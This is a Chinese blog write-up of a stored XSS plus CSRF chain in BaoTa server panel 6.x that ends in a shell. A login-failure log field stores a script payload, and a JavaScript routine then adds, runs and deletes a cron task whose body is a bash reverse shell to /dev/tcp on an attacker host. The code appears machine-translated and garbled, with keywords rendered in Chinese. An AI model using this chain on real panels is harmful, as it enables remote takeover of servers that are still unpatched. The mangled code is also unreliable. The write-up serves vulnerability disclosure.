某面板6.x的版本前台存储XSS + CSRF后台组合拳getshell

【前言】

什么是宝塔面板?

宝塔面板是一款使用方便,功能强大且终身免费的服务器管理软件,支持的Linux与视窗系统一键配置:。LAMP / LNMP,网站,数据库,FTP,SSL,通过Web端轻松管理服务器推出至今备受中小站点站长喜爱,下载量过百万。

【漏洞代码分析】

在6.x linux版本宝塔面板当中当中,相对与5.x版本,记录了验证码错误并存入数据库当中,存储xss缺陷就是在此处产生。

。直接我们看漏洞代码 直接分析后请求部分。 代码如下:

我们可以看到这里首先判断了是否有用户名密码,然后是验证码。判断这个IP是否是有登陆失败的记录。如果大于1记录一下,随后将错误次数大于1的用户名的和密码都进行了记录。
从数据库中读取管理员账号密码。进行对比。如果没有成功就返回一个错误

关键的代码如下:

此处记录了一下post的请求。然后将代码传入到了写日志的一个函数里面。追踪一下这个函数。在public.py里面,找到如下函数

这里就是一个写日志的功能。定义了一个teyp然后是args。这里把代码传递过来。就直接写入了日志。没有做任何过滤处理。然后就导致了xss漏洞产生。
可以在宝塔数据库当中,看到日志数据库里存储的信息

【漏洞复现】

我们直接在面板登录处,随便输入一个账号密码,触发失败,要求输入验证码。

由于没有任何过滤处理,我们直接输入弹窗的有效载荷:<SCRIPT>警报( ‘www.dafsec.org’)</ SCRIPT>

登录后台后,打开安全模块,成功触发弹窗。

由于服务器管理面板的特殊性,后台可以进行敏感操作手写JS远程调用,利用跨站请求伪造漏洞在计划任务处配合存储XSS,可成功反弹外壳,弹壳成功截图如下:

远程调用的JS代码如下:

功能 addTask TASKNAME  execTime  IP  端口 { 
    VAR  execShell  =  '的bash -i>&的/ dev / TCP / your_ip / your_port 0>&1' ; 
    execShell  =  encodeURIComponent execShell ); 
    var  params  =  'name ='  +  TaskName  +  '&type = minute-n&where1 ='  +  execTime  +  '&hour =&minute =&week =&sType = toShell&sBody ='  +  execShell  +  '&sName =&backupTo = localhost&save =&
      =  new  XMLHttpRequest (); 
    xhr open 'POST'  '/ crontab?action = AddCrontab'  false ); 
    xhr setRequestHeader 'Content-Type'  'application / x-www-form-urlencoded' ); 
    xhr 发送params ); 
}

功能 execTask TASKNAME  { 
    VAR  XHR  =   的XMLHttpRequest (); 
    xhr open 'POST'  '/ crontab?action = GetCrontab'  true ); 
    xhr send (); 
    xhr 的onload  =  函数 () { 
        如果 readyState的 ==  4  &&  状态 ==  200  { 
            VAR  RES  = JSON 解析responseText的); 
            如果 RES [ 0 ]。 ==  TASKNAME  { 
                VAR  的TaskID  =  RES [ 0 ]。id toString (); 
                var  xhr  =  new  XMLHttpRequest (); 
                xhr open 'POST'  '/ crontab?action = StartTask'  false ); 
                xhr setRequestHeader 'Content-Type'  'application / x-www-form-urlencoded' ); 
                var  params  =  'id ='  +  TaskID ; 
                xhr 发送params ); 
                delTask RES [ 0 ]。ID ); 
                控制台log res [ 0 ] .id ); 
                返回 res [ 0 ]。id ; 
            } 
        } 
    } 
}

function  delTask TaskID  { 
    var  params  =  'id ='  +  TaskID toString (); 
    var  xhr  =  new  XMLHttpRequest (); 
    xhr open 'POST'  '/ crontab?action = DelCrontab'  false ); 
    xhr setRequestHeader 'Content-Type'  'application / x-www-form-urlencoded' ); 
    xhr 发送params ); 
}

var  TaskName  =  Math 随机()。toString 36 )。substring 7 ); 
addTask TASKNAME  '5'  '1.1.1.1'  '53' ); 
execTask TASKNAME );

【后序】

宝塔官方已修复该漏洞,但仍有大量存在漏洞主机暴露于公网,请及时更新至最新版本。
官方已修复该漏洞,漏洞环境可以将附件当中的test.py同名覆盖掉宝塔最新版的/ WWW /服务器/板/类/ userlogin.py

嘤嘤嘤〜打个小广告,DAF团队收人,PWN选手,网络选手,一起打比赛挖洞技术交流〜有意请投递简历至admin@dafsec.org

Be the first to comment

Leave a Reply

Your email address will not be published.


*